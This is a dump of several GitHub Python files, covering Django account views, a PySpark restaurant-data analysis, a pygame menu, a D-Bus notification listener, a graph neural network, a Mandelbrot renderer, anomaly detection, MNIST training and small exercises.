True\n user.save()\n\n return redirect(\"user:login\")\n\n\ndef verify_email_link(request, base64_id, base64_email, token):\n uid = force_text(urlsafe_base64_decode(base64_id))\n user = get_user_model().objects.get(pk=uid)\n if not user or not PasswordResetTokenGenerator().check_token(user, token):\n return HttpResponse(\"This is invalid!\")\n email = force_text(urlsafe_base64_decode(base64_email))\n user_email = Email.objects.filter(user=user, email=email).first()\n if not user_email:\n return HttpResponse(\"This is invalid!\")\n user_email.active = True\n user_email.save()\n messages.success(request, \"Your email \" + email + \" has been activated!\")\n return redirect(\"user:profile\")\n\n\ndef forget_password(request):\n if request.method == \"POST\":\n form = GetEmailForm(request.POST)\n if form.is_valid():\n send_reset_password_email(request, form.cleaned_data.get(\"email\"))\n return render(request=request, template_name=\"sent_email.html\")\n return render(\n request=request, template_name=\"reset_email.html\", context={\"form\": form}\n )\n else:\n form = GetEmailForm()\n return render(\n request=request, template_name=\"reset_email.html\", context={\"form\": form}\n )\n\n\ndef add_preference(request):\n if request.method == \"POST\":\n form = UserPreferenceForm(request.POST)\n if form.is_valid():\n form.save(user=request.user)\n return HttpResponse(\"Preference Saved\")\n return HttpResponseBadRequest(\"Bad Request\")\n\n\ndef delete_preference(request, preference_type, value):\n if request.method == \"POST\":\n user = request.user\n user.preferences.remove(\n Preferences.objects.filter(\n preference_type=preference_type, value=value\n ).first()\n )\n logger.info(\n \"Removed preference {}: {} for {}\".format(preference_type, value, user)\n )\n return HttpResponse(\"Preference Removed\")\n\n\ndef update_password(request):\n if not request.user.is_authenticated:\n return redirect(\"user:login\")\n\n user = request.user\n if request.method == \"POST\":\n form = UpdatePasswordForm(user=user, data=request.POST)\n if form.is_valid():\n form.save(user)\n return redirect(\"user:login\")\n\n error_list = []\n for field in form:\n for error in field.errors:\n error_list.append(error)\n context = {\"status\": \"400\", \"errors\": error_list}\n response = HttpResponse(json.dumps(context), content_type=\"application/json\")\n response.status_code = 400\n return response\n\n\ndef contact_form(request):\n if request.method == \"POST\":\n form = ContactForm(request.POST)\n if form.is_valid():\n email = form.cleaned_data.get(\"email\")\n subject = form.cleaned_data.get(\"subject\")\n message = form.cleaned_data.get(\"message\")\n # Sends user answers to website email\n feedback_sent = send_feedback_email(request, email, subject, message)\n if feedback_sent:\n return redirect(\"user:request_received\")\n else:\n messages.error(request, \"An error occurred, feedback was not sent!\")\n else:\n messages.error(request, \"Invalid or missing data in contact form!\")\n form = ContactForm()\n return render(\n request=request, template_name=\"contact_us.html\", context={\"form\": form}\n )\n\n\ndef request_received(request):\n return render(request=request, template_name=\"request_received.html\")\n","repo_name":"gcivil-nyu-org/spring2021-cs-gy-9223-class","sub_path":"user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":18409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"16851980191","text":"\nimport findspark\nfindspark.init()\n\n\nimport pyspark\nfrom pyspark import SparkContext, SQLContext\nfrom pyspark.sql import SparkSession\nspark = pyspark.sql.SparkSession.builder \\\n .config(\"spark.driver.maxResultSize\", \"2g\")\\\n .getOrCreate()\n\n\nfrom main import *\n\n\nfrom pyspark.sql.functions import *\nfrom pyspark.sql.types import *\n\nrestaurant_schema = StructType([\n StructField('Restaurant_Name', StringType(), True),\n StructField('City', StringType(), True),\n StructField('Restaurant_ID', IntegerType(), False),\n StructField('Has_Table_booking', StringType(), True),\n StructField('Has_Online_delivery', StringType(), True),\n StructField('Is_delivering_now', StringType(), True),\n StructField('Country_Code', IntegerType(), False)\n ])\n\nfoods_schema = StructType([\n StructField('Country_Code', IntegerType(), False),\n StructField('Cuisines', StringType(), False),\n StructField('Rating', FloatType(), False),\n StructField('Rating_text', StringType(), False),\n StructField('Votes', IntegerType(), False)\n \n ])\n\n\ncost_schema = StructType([\n StructField('Cost_per_person', IntegerType(), False),\n StructField('Currency', StringType(), True),\n StructField('Price_range', IntegerType(), False),\n StructField('Country_Code', IntegerType(), False)\n ])\n\ncountry_schema = StructType([\n StructField('Country_Code', IntegerType(), False),\n StructField('Country', StringType(), True),\n StructField('Per_Capita_Income(USD)', IntegerType(), False)\n ])\n\ncost_new_schema = StructType([\n StructField('Cost_per_person', IntegerType(), False),\n StructField('Currency', StringType(), True),\n StructField('Price_range', IntegerType(), False),\n StructField('Country_Code', IntegerType(), False),\n StructField('Cost_USD', FloatType(), False)\n ])\n\n\n#Restaurant.write.format('csv').option('header',True).mode('overwrite').option('sep',',').save(\"hdfs://localhost:9000/fuse_project/Restaurant.csv\")\n#print(\"Data Written\")\n\nRestaurant=spark.read.csv(\"hdfs://localhost:9000/fuse_project/Zomato_project/Restaurant.csv\", header=True, schema = restaurant_schema )\nFoods=spark.read.csv(\"hdfs://localhost:9000/fuse_project/Zomato_project/Foods.csv\", header=True, schema = foods_schema)\nCost=spark.read.csv(\"hdfs://localhost:9000/fuse_project/Zomato_project/Cost.csv\", header=True, schema = cost_schema)\nCountry=spark.read.csv(\"hdfs://localhost:9000/fuse_project/Zomato_project/Country.csv\" , header=True, schema = country_schema)\nCost_new=spark.read.csv(\"hdfs://localhost:9000/fuse_project/Zomato_project/Cost_new.csv\" , header=True, schema = cost_new_schema)\n\n\n\nFoods=Foods.select(\"Country_Code\",\"Rating\",\"Rating_text\",\"Votes\",split(col(\"Cuisines\"),\",\").alias(\"Cuisine\"))\n#Foods.show()\n\n\n#Loading dataframes into POstgres database\n\n\n\n\n# # 1. Cities with maximum Restaurants\ndef task1():\n task1= Restaurant.groupBy(\"City\").count().sort(col(\"count\").desc())\n return task1\n\n\n\n# # 2. Which cuisine is famous (most ordered) in Ahmedabad city?\n\ndef task2():\n task2= Restaurant.join(Foods, Restaurant.Country_Code== Foods.Country_Code,\"inner\").select(\"City\",\"Cuisine\",\"Rating_text\")\n\n task21=task2.filter(task2.City==\"Ahmedabad\")\n#task21.show(2,truncate=False)\n\n task22 = task21.select(task21.City,explode(task21.Cuisine)).withColumnRenamed(\"col\",\"Cuisine\")\n\n\n task23=task22.groupBy(\"Cuisine\").count().distinct().sort(col(\"count\").desc())\n return task23\n# OR\n\n# task_22=task21.filter(task21.Rating_text == \"Excellent\")\n#task_22.show()\n\n\n#task_23 = task_22.select(task_22.Rating_text,explode(task_22.Cuisine)).withColumnRenamed(\"col\",\"Cuisine\")\n#task_23.groupBy(\"Cuisine\").count().sort(col(\"count\").desc()).show()\n\n\n\n# # 3.how per capita income affects food ordering behaviour?\ndef task3():\n task3= Foods.join(Country,\"Country_Code\",\"inner\")\n task31= Country.select(max(\"Per_Capita_Income(USD)\"), min(\"Per_Capita_Income(USD)\"))\n#task31.show()\n\n#Analysing behaviour of customers having high per capita income i.e 68309, what kind of foods do they order\n\n task3= task3.withColumnRenamed(\"Per_Capita_Income(USD)\",\"PCI\")\n\n task33= task3.filter(task3.PCI==68309).select(task3.Country,task3.PCI,task3.Rating,explode(task3.Cuisine)).withColumnRenamed(\"col\",\"Cuisine\")\n return task33\n\n# # 4. Resturants with maximum (high) ratings (Excellent rating and > 4.9) ?\n\ndef task4():\n task4= Restaurant.join(Foods, \"Country_Code\",\"inner\").select(\"Restaurant_Name\",\"Rating\", \"Rating_text\")\n#task4.show()\n\n\n task41=task4.filter(task4.Rating_text==\"Excellent\").distinct()\n\n\n task42=task41.filter(task41.Rating >= 4.9).distinct()\n return task42\n\n\n# # 5. How votes affects the price range ?\n\ndef task5():\n task5= Foods.join(Cost, \"Country_Code\",\"inner\")\n#task5.show()\n\n task52=task5.select(max(\"Votes\"), min(\"Votes\"))\n task53=task5.filter(task5.Votes==10934).select(\"Votes\",\"Price_range\")\n\n return task53\n\n\n# # 6.Top 5 popular ratings per counts?\n\ndef task6():\n task6=Foods.select(\"Rating\")\n task6= task6.filter(task6.Rating<=5.0).groupBy(\"Rating\").count().sort(col(\"count\").desc())\n#task6.show(5)\n return task6\n\n\n \n# # 7. How Table booking and online delievery increases or decreases food ordering?\n\ndef task7():\n task7= Restaurant.join(Foods, \"Country_Code\", \"inner\").select(\"Cuisine\", \"Has_Table_booking\",\"Has_Online_delivery\")\n#task7.show()\n\n task71= task7.filter(task7.Has_Table_booking == \"Yes\").groupBy(\"Has_Table_booking\").count()\n task72= task7.filter(task7.Has_Table_booking == \"No\").groupBy(\"Has_Table_booking\").count()\n task73= task7.filter(task7.Has_Online_delivery == \"Yes\").groupBy(\"Has_Online_delivery\").count()\n task74= task7.filter(task7.Has_Online_delivery == \"No\").groupBy(\"Has_Online_delivery\").count()\n\n task99= task71.union(task72)\n task999=task73.union(task74)\n task999=task999.select(\"Has_Online_delivery\",\"count\").withColumnRenamed(\"count\",\"Counts\")\n\n task75=task99.join(task999)\n\n #task75=task71.join(task73)\n #task76= task73.join(task74)\n\n return task75\n \n#task71= task7.filter(task7.Has_Table_booking == \"Yes\").groupBy(\"Has_Table_booking\",\"Cuisine\").count().show(50,truncate=False)\n#task72= task7.filter(task7.Has_Table_booking == \"No\").groupBy(\"Has_Table_booking\",\"Cuisine\").count().show(50,truncate=False)\n\n\n#task73= task7.filter(task7.Has_Online_delivery == \"Yes\").groupBy(\"Has_Online_delivery\",\"Cuisine\").count().show(50,truncate=False)\n#task74= task7.filter(task7.Has_Online_delivery == \"No\").groupBy(\"Has_Online_delivery\",\"Cuisine\").count().show(50,truncate=False)\n\n\n\n# # 8. Which is most liked table booking or online delievery?\n\ndef task8():\n task8= Restaurant.select(\"Has_Table_booking\",\"Has_Online_delivery\")\n\n\n task81= task8.filter(task8.Has_Table_booking == \"Yes\").groupBy(\"Has_Table_booking\").count()\n\n task82= task8.filter(task8.Has_Online_delivery == \"Yes\").groupBy(\"Has_Online_delivery\").count()\n task82=task82.select(\"Has_Online_delivery\",\"count\").withColumnRenamed(\"count\",\"Counts\")\n task83=task81.join(task82)\n return task83\n# # 9. Display cuisine having price rating 2 and food rating above 4?\n\ndef task9():\n task9= Foods.join(Cost, \"Country_Code\").select(\"Cuisine\",\"Price_range\",\"Rating\")\n\n\n task92= task9.select(\"Rating\",\"Price_range\",explode(task9.Cuisine)).withColumnRenamed(\"col\",\"Cuisine\")\n\n task93= task92.filter((task92.Price_range<2)& (task92.Rating>4.5)) \n return task93\n\n\n# # 10. Count Resturants having no table booking and online delievery but excellent ratings.\n\ndef task10():\n task10= Restaurant.join(Foods, \"Country_Code\")\n#task10.show(2)\n\n task11= task10.filter((task10.Has_Table_booking == \"No\") & (task10.Has_Online_delivery == \"No\") & (task10.Rating_text == \"Excellent\"))\n task12=task11.select(count(\"Restaurant_Name\"))\n return task12\n\n\n# 12. Food rating and cost per person of countries having per capita income below 5000 \n\ndef task12():\n task11= Foods.join(Cost_new,\"Country_Code\").join(Country, \"Country_Code\")\n task11=task11.withColumnRenamed('Per_Capita_Income(USD)', \"PCI\")\n task111= task11.select(\"Rating\", \"Cost_USD\",'PCI').filter(task11.PCI<5000).distinct()\n print(task111.show())\n return task111\n\n# 13. Which location/ city in a country is most profitable (has high orders) ?\n\ndef task13():\n task13= Restaurant.join(Country, \"Country_Code\")\n task131= task13.filter(task13.Country==\"India\")\n task132= task131.groupBy(\"Restaurant_Name\",\"City\").count().sort(col(\"count\").desc())\n task134= task131.filter(task131.Restaurant_Name == \"Cafe Coffee Day\").groupBy(\"City\").count()\n print(task134.show())\n\n return(task134)\n\n # 14. Restaurants having most number of branches.\n\ndef task14():\n task14= Restaurant.select(\"Restaurant_Name\",\"City\").distinct()\n task141= task14.groupBy(\"Restaurant_Name\").count().sort(col(\"count\").desc())\n print(task141.show())\n\n return(task141)\n\n\n\n\n\n\n","repo_name":"dpka09/Pipeline","sub_path":"dags/transformation.py","file_name":"transformation.py","file_ext":"py","file_size_in_byte":8978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"74749635729","text":"import time\n\nimport pygame_menu\n\nfrom react import GameEngine\n\n\ndef reset_menu_selection(menu):\n menu.select_widget(None)\n\n\ndef led_check(menu, game_engine: GameEngine, check_time: int):\n \"\"\"Turn on all led for check_time seconds\"\"\"\n print(\"Start led_check\")\n\n start = time.time()\n elapsed = lambda: time.time() - start\n\n game_engine.lights.on()\n while elapsed() <= check_time:\n time.sleep(1)\n\n game_engine.lights.off()\n reset_menu_selection(menu)\n print(\"Done led_check\")\n\n\ndef led_button_check(menu, game_engine: GameEngine):\n \"\"\"Light up the buttons 1 by 1 to verify that it all work\"\"\"\n print(\"Start led_button_check\")\n game_engine.button_test()\n print(\"Done led_button_check\")\n reset_menu_selection(menu)\n\n\ndef init_settings_menu(on_close_cb, game_engine) -> \"pygame_menu.Menu\":\n theme_menu = pygame_menu.themes.THEME_BLUE.copy()\n theme_menu.scrollbar_cursor = pygame_menu.locals.CURSOR_HAND\n\n # Main menu, pauses execution of the application\n menu = pygame_menu.Menu(\n height=400, onclose=on_close_cb, theme=theme_menu, title=\"Main Menu\", width=600\n )\n\n cheat_sub_menu = pygame_menu.Menu(\n height=400, onclose=on_close_cb, theme=theme_menu, title=\"Cheat Menu\", width=600\n )\n\n # Led check\n led_check_time = 30 # sec\n menu.add.button(\n f\"Led check ({led_check_time} sec)\",\n led_check,\n menu,\n game_engine,\n led_check_time,\n )\n\n menu.add.button(\n f\"Led & Button check\",\n led_button_check,\n menu,\n game_engine,\n )\n\n menu.add.button(\"Cheat Menu\", cheat_sub_menu)\n\n cheat_sub_menu.add.button(\"What were you expecting?!\")\n\n menu.add.button(\"Exit Game\", pygame_menu.events.EXIT)\n return menu\n","repo_name":"bagerard/Whack-A-Pi","sub_path":"settings_menu.py","file_name":"settings_menu.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"16279919409","text":"# works,needs eavesdrop='true'\n\nfrom gi.repository import Gtk\nimport dbus\nfrom dbus.mainloop.glib import DBusGMainLoop\n \ndef msg_filter(_bus, msg):\n if msg.get_member() != \"Notify\":\n return\n args = msg.get_args_list()\n print(\"%s:%s\" % (args[3], args[4]))\n \nif __name__ == '__main__':\n DBusGMainLoop(set_as_default = True)\n bus = dbus.SessionBus()\n bus.add_match_string(\"interface='org.freedesktop.Notifications',eavesdrop='true'\")\n bus.add_message_filter(msg_filter)\n Gtk.main()","repo_name":"hevi9/etc-python","sub_path":"dbus/grab_notify4.py","file_name":"grab_notify4.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"66"}
+{"seq_id":"26510904013","text":"# https://github.com/CUAI/Non-Homophily-Benchmarks/blob/main/models.py\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch_geometric.nn import GCNConv, JumpingKnowledge\n# from torch_geometric.nn.conv.gcn_conv import gcn_norm\n# import scipy.sparse\n# import numpy as np\n\nclass GCNJK(nn.Module):\n def __init__(self, \n edge_index,\n norm_A,\n in_channels, \n hidden_channels, \n out_channels, \n num_layers=2,\n dropout=0.5, \n jk_type='max'\n ):\n super(GCNJK, self).__init__()\n self.norm_A = norm_A\n self.edge_index = edge_index\n\n self.convs = nn.ModuleList()\n self.convs.append(\n GCNConv(in_channels, hidden_channels, cached=False, normalize=False))\n\n self.bns = nn.ModuleList()\n self.bns.append(nn.BatchNorm1d(hidden_channels))\n for _ in range(num_layers - 2):\n self.convs.append(\n GCNConv(hidden_channels, hidden_channels, cached=False, normalize=False))\n self.bns.append(nn.BatchNorm1d(hidden_channels))\n\n self.convs.append(\n GCNConv(hidden_channels, hidden_channels, cached=False, normalize=False))\n\n self.dropout = dropout\n self.activation = F.relu\n self.jump = JumpingKnowledge(jk_type, channels=hidden_channels, num_layers=1)\n if jk_type == 'cat':\n self.final_project = nn.Linear(hidden_channels * num_layers, out_channels)\n else: # max or lstm\n self.final_project = nn.Linear(hidden_channels, out_channels)\n\n\n def reset_parameters(self):\n for conv in self.convs:\n conv.reset_parameters()\n for bn in self.bns:\n bn.reset_parameters()\n self.jump.reset_parameters()\n self.final_project.reset_parameters()\n\n def predict(self, x):\n with torch.no_grad():\n self.eval()\n xs = []\n for i, conv in enumerate(self.convs[:-1]):\n x = conv(x, self.edge_index, edge_weight=self.norm_A)\n x = self.bns[i](x)\n x = self.activation(x)\n xs.append(x)\n x = F.dropout(x, p=self.dropout, training=self.training)\n x = self.convs[-1](x, self.edge_index, edge_weight=self.norm_A)\n xs.append(x)\n x = self.jump(xs)\n x = self.final_project(x)\n return x\n\n def forward(self, x):\n xs = []\n for i, conv in enumerate(self.convs[:-1]):\n x = conv(x, self.edge_index, edge_weight=self.norm_A)\n x = self.bns[i](x)\n x = self.activation(x)\n xs.append(x)\n x = F.dropout(x, p=self.dropout, training=self.training)\n x = self.convs[-1](x, self.edge_index, edge_weight=self.norm_A)\n xs.append(x)\n x = self.jump(xs)\n x = self.final_project(x)\n x = F.log_softmax(x, dim=1)\n return x","repo_name":"yuziGuo/ClenshawGNN","sub_path":"models/GCNJK.py","file_name":"GCNJK.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"66"}
+{"seq_id":"878967255","text":"# coding=utf-8\n\"\"\"\"\nAuthors:\n Bruno Beljo\n Antonio Boban\n Anton Ilic\n\nDescription:\n Computing of Mandelbrot set using serial computing\n\nData types:\n width = int Image width\n height = int Image height\n x1 = float minimum X-Axis value\n x2 = float maximum X-Axis value\n y1 = float minimum Y-Axis value\n y2 = float maximum Y-Axis value\n maxit = int maximum interation\n\nTest values:\n width, height = 500, 250\n x1, x2 = -2.0, 1.0\n y1, y2 = -1.0, 1.0\n maxit = 141\n\nRunning instruction:\n Code runs in Linux terminal\n Structure:\n python3 mandelbrot_s.py width height x1 x2 y1 y2 maxit change_color\n Example:\n python3 mandelbrot_p.py 1024 1024 -0.74877 -0.74872 0.065053 0.065103 2048 3\n\"\"\"\nfrom functions import *\nimport time\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport os\nimport sys\n\n\"\"\"makes using -h parameter possible by ignoring other arguments.\nIf there are more arguments, takes their input into compution\n\"\"\"\nif len(sys.argv) == 2:\n help_menu()\nelse:\n width = int(sys.argv[1]) #Image width\n height = int(sys.argv[2]) #Image height\n x1 = float(sys.argv[3]) #x axis minimum\n x2 = float(sys.argv[4]) #x axis maximum\n y1 = float(sys.argv[5]) #y axis minimum\n y2 = float(sys.argv[6]) #x axis maximum\n maxit = int(sys.argv[7]) #maximum number of iterations\n c = int(sys.argv[8]) #color mode\n\n#Printing arguments used code was ran\nprint(\"Parameters:\")\nprint(\"\\tOutput: \", os.path.relpath('mandelbrot_serial.png', start=\"./file.txt\"))\nprint(\"\\tImage width: \", width)\nprint(\"\\tImage height:\", height)\nprint(\"\\tX-Axis minimum:\", x1)\nprint(\"\\tX-Axis maximum:\", x2)\nprint(\"\\tY-Axis minimum: \", y1)\nprint(\"\\tY-Axis maximum: \", y2)\nprint(\"\\tIterations: \", maxit)\n\n#Calculating execution time\nstart = time.time ()\nprint(\"Computing...\")\n\nC = np.zeros([height, width], dtype='i')\ndx = (x2-x1)/width\ndy = (y2-y1)/height\n\nfor i in range(height):\n y = y1 + i * dy\n for j in range(width):\n x = x1 + j * dx\n C[i,j] = mandelbrot(x, y, maxit)\n\n# Time calculation result\nend = time.time()\nprint(\"Computing finished in \", end - start, \"seconds.\")\n\n#Graphing\nprint(\"Building image...\")\nplt.imshow(change_colors(c,C), aspect='equal', cmap=plt.cm.gnuplot2, interpolation='bilinear', extent=(x1, x2, y1, y2))\nplt.title('Mandelbrot set using serial computing')\nplt.xlabel('Real')\nplt.ylabel('Imaginary')\n\nplt.savefig('mandelbrot_serial.png', dpi=1000)\nplt.show()\n\n#Relative path\npath = os.path.relpath('mandelbrot_serial.png', start=\"./file.txt\")\nprint(\"Image save path: \", path)","repo_name":"ailic96/mandelbrot","sub_path":"mandelbrot_s.py","file_name":"mandelbrot_s.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"21629538480","text":"\"\"\"\r\n案例1: 检测异常服务器\r\n数据集:data/ex8data1.mat\r\n注:算法手动实现\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport scipy.io as sio\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef estimate_gaussian(X, isCovariance): # 计算均值与协方差矩阵\r\n means = np.mean(X, axis=0)\r\n if isCovariance:\r\n sigma2 = (X - means).T @ (X - means) / len(X) # 主对角线上的数值是方差,其他是协方差,也可用sigma=np.cov(X.T)\r\n else:\r\n sigma2 = np.var(X, axis=0) # np.var计算方差\r\n return means, sigma2\r\n\r\n\r\ndef gaussian_distribution(X, means, sigma2):\r\n if np.ndim(sigma2) == 1: # 数组维度是2,为原高斯分布模型\r\n sigma2 = np.diag(sigma2)\r\n\r\n X = X - means\r\n n = X.shape[1]\r\n\r\n first = np.power(2 * np.pi, -n / 2) * (np.linalg.det(sigma2) ** (-0.5))\r\n second = np.diag(X @ np.linalg.inv(sigma2) @ X.T)\r\n p = first * np.exp(-0.5 * second)\r\n p = p.reshape(-1, 1) # 转为(n,1)\r\n\r\n return p\r\n\r\n\r\ndef plotGaussian(X, means, sigma2):\r\n plt.figure()\r\n x = np.arange(0, 30, 0.5)\r\n y = np.arange(0, 30, 0.5)\r\n xx, yy = np.meshgrid(x, y)\r\n z = gaussian_distribution(np.c_[xx.ravel(), yy.ravel()], means, sigma2) # 计算对应的高斯分布函数\r\n zz = z.reshape(xx.shape)\r\n plt.plot(X[:, 0], X[:, 1], 'bx')\r\n contour_levels = [10 ** h for h in range(-20, 0, 3)]\r\n plt.contour(xx, yy, zz, contour_levels)\r\n\r\n\r\ndef select_threshold(yval, p):\r\n bestEpsilon = 0\r\n bestF1 = 0\r\n epsilons = np.linspace(min(p), max(p), 1000)\r\n for e in epsilons:\r\n p_ = p < e\r\n tp = np.sum((yval == 1) & (p_ == 1))\r\n fp = np.sum((yval == 0) & (p_ == 1))\r\n fn = np.sum((yval == 1) & (p_ == 0))\r\n prec = tp / (tp + fp) if (tp + fp) else 0 # precision 精确度\r\n rec = tp / (tp + fn) if (tp + fn) else 0 # recall召回率\r\n F1_e = 2 * prec * rec / (prec + rec) if (prec + rec) else 0 # F1score\r\n if F1_e > bestF1:\r\n bestF1 = F1_e\r\n bestEpsilon = e\r\n return bestEpsilon, bestF1\r\n\r\n\r\nif __name__ == '__main__':\r\n mat = sio.loadmat('data/ex8data1.mat') # dict_keys(['__header__', '__version__', '__globals__', 'X', 'Xval', 'yval'])\r\n X = mat.get('X') # X-->(307,2)\r\n X_val, y_val= mat['Xval'], mat['yval']\r\n # 原高斯分布模型\r\n means, sigma2 = estimate_gaussian(X, isCovariance=False)\r\n plotGaussian(X, means, sigma2)\r\n\r\n # 多元高斯分布模型\r\n means, sigma2 = estimate_gaussian(X, isCovariance=True)\r\n plotGaussian(X, means, sigma2)\r\n # 通过交叉验证集选取阈值ε\r\n p_val = gaussian_distribution(X_val, means, sigma2)\r\n bestEpsilon, bestF1 = select_threshold(y_val, p_val)\r\n print(bestEpsilon, bestF1)\r\n\r\n p = gaussian_distribution(X, means, sigma2)\r\n anoms = np.array([X[i] for i in range(X.shape[0]) if p[i] < bestEpsilon])\r\n print(len(anoms))\r\n print('sss',anoms)\r\n plotGaussian(X, means, sigma2)\r\n plt.scatter(anoms[:, 0], anoms[:, 1], c='r', marker='o')\r\n\r\n # plt.plot(X[:, 0], X[:, 1], 'bx')\r\n plt.show()\r\n\r\n\r\n# -------------案例2: 高维数据的异常检测 数据集:data/ex8data1.mat-------------------\r\n mat_h = sio.loadmat('data/ex8data2.mat') # dict_keys(['__header__', '__version__', '__globals__', 'X', 'Xval', 'yval'])\r\n X2 = mat_h['X']\r\n X_val2, y_val2 = mat_h['Xval'], mat_h['yval']\r\n print(X2.shape,X_val2.shape,y_val2.shape)\r\n means_h,sigma2_h = estimate_gaussian(X2, isCovariance=True)\r\n pval = gaussian_distribution(X_val2, means_h, sigma2_h)\r\n bestEpsilon_h, bestF1_h = select_threshold(y_val2, pval)\r\n p_h = gaussian_distribution(X2,means_h,sigma2_h)\r\n anoms_h = np.array([X2[i] for i in range(X2.shape[0]) if p_h[i] < bestEpsilon_h])\r\n print(len(anoms_h))\r\n","repo_name":"giser-z/Coursera-ML-AndrewNg-Exercises","sub_path":"ex8-anomaly detection and recommendation/01-异常检测.py","file_name":"01-异常检测.py","file_ext":"py","file_size_in_byte":3783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"5586421590","text":"\nimport torch\nfrom torch import nn\nimport torchvision\nfrom torch import optim\nfrom torch.nn import functional as F\n\nfrom matplotlib import pyplot as plt\nfrom utils import plot_image, plot_curve, one_hot\n\nbatch_size = 512\nlr=0.1\ntrain_loader = torch.utils.data.DataLoader(\n torchvision.datasets.MNIST('mnist_data',train=True,download=True,\n transform=torchvision.transforms.Compose([\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize(\n (0.1307,), (0.3081,))\n ])),\n batch_size = batch_size, shuffle=True)\n\ntest_loader = torch.utils.data.DataLoader(\n torchvision.datasets.MNIST('mnist_data',train=False,download=True,\n transform=torchvision.transforms.Compose([\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize(\n (0.1307,),(0.3081,))\n ])),\n batch_size = batch_size,shuffle=False)\n\n# x, y = next(iter(train_loader))\n# print(x.shape, y.shape, x.min(), x.max())\n# plot_image(x, y, 'image_MNIST')\n\nclass Net(nn.Module):\n\n def __init__(self):\n super(Net, self).__init__()\n #[b, 1, 28, 28]\n #h1=w1*x+b1\n self.fc1 = nn.Linear(28*28,256)\n self.fc2 = nn.Linear(256, 128)\n #h2=w2*h1+b2\n self.fc3 = nn.Linear(128,64)\n #h3=w3*h2+b3\n self.fc4 = nn.Linear(64,10)\n\n def forward(self, x):\n # [b, 1, 28, 28]\n x=F.relu(self.fc1(x))\n x=F.relu(self.fc2(x))\n x=F.relu(self.fc3(x))\n x=self.fc4(x)\n\n return x\n\nnet = Net()\noptimize = optim.SGD(net.parameters(), lr=lr, momentum=0.9)\ntrain_loss = []\nfor epoch in range(3):\n for bach_idx ,(x, y) in enumerate(train_loader):\n # print(x.shape, y.shape)\n # break\n #x:[b, 1, 28, 28] y:[512]\n #x:[b, 1, 28, 28]=>[b,28*28]\n x = x.view(x.size(0),-1)\n #b[b,10]\n x = net(x)\n #y =>[b,10] one hot\n y_onehot = one_hot(y)\n loss = F.mse_loss(x, y_onehot)\n\n optimize.zero_grad()\n loss.backward()\n optimize.step()\n train_loss.append(loss.item())\n if bach_idx % 10 == 0:\n print(epoch, bach_idx, loss.item())\n\n\nplot_curve(train_loss)\n\ncorrect_num = 0\nfor x,y in test_loader:\n #[b, 1, 28, 28]\n x = x.view(x.size(0),-1)\n #[b,10]\n out = net(x)\n pred=out.argmax(dim=1)\n correct_num += pred.eq(y).sum().float().item()\nprint('x:', x.shape, 'out:', out.shape, 'pred:',pred.shape, 'y:', y.shape)\ntotal_num = len(test_loader.dataset)\nacc = correct_num / total_num\nprint('acc:', acc, 'ir:',lr,'loss:',loss.item())\n\nx, y =next(iter(test_loader))\nout = net(x.view(x.size(0),-1))\npred = out.argmax(dim=1)\nplot_image(x, pred, 'test')\n","repo_name":"DowsWang/MNIST","sub_path":"main_nn.py","file_name":"main_nn.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"40278789383","text":"\"\"\"\nURL: http://www.pythonchallenge.com/pc/def/map.html\n\n\"\"\"\n\n\nclue = \"\"\"\ng fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp.\nbmgle gr gl zw fylb gq glcddgagclr ylb rfyr'q ufw rfgq rcvr gq qm jmle.\nsqgle qrpgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj.\n\"\"\".replace('\\n', ' ').strip()\n\n\ndef maketrans(secret):\n literals = set([' ', ')', '(', '.', \"'\"])\n out = []\n for i in secret:\n if i in literals:\n out.append(i)\n else:\n ni = ord(i) + 2\n if ni > 122:\n di = ni - 122 - 1\n ni = 97 + di\n out.append(chr(ni))\n return ''.join(out)\n\n\nprint(maketrans(clue))\nprint(maketrans('map'))\n","repo_name":"cr8ivecodesmith/sharp_saw","sub_path":"pychallenge/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"42326151003","text":"from __future__ import division\nk= \"nama saya\"\nl=\"heruzaman\"\n\n# print\nprint(\"OK\")\nprint(k,end=\" \")\n\n#Reading from keyboared\nx=input(\"something:\")\nprint(x)\n\n# raise exceprion\n# raise IOError(\"File error\")\n\n# argument in exception\n# except Myerror as err:\n\n# next() function\ngen=(letter for letter in 'HELOWORLD')\nnext(gen)\n\ndef area(x,y=3.14): #Fo\n return \"ok\"\n\nprint(area(1,1))\n\n","repo_name":"syamsofa/belajarpython","sub_path":"basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
